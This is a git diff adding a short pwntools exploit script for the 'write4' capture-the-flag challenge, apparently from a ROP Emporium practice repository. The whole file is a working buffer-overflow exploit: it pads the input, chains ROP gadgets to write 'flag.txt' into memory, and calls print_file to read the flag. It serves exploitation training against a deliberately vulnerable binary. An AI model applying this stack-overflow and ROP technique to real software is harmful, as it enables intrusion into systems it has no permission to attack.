diff options
Diffstat (limited to 'x86_64/write4/exploit.py')
-rwxr-xr-x | x86_64/write4/exploit.py | 19 |
1 files changed, 19 insertions, 0 deletions
diff --git a/x86_64/write4/exploit.py b/x86_64/write4/exploit.py new file mode 100755 index 0000000..f8b294e --- /dev/null +++ b/x86_64/write4/exploit.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python3 +from pwn import * + +prog = process('./write4') +payload = b'' +for c in range(40): + payload += b'a' + +payload += p64(0x0000000000400690) # pop r14, pop r15, ret +payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section +payload += b"flag.txt" # our string (duh) +payload += p64(0x0000000000400628) # mov qword ptr [r14], r15 ; ret +payload += p64(0x0000000000400693) # pop rdi; ret +payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section +payload += p64(0x0000000000400510) # print_file@plt +payload += b"\n" +prog.sendline(payload) +print(str(prog.recv(), 'UTF-8')) +prog.close() |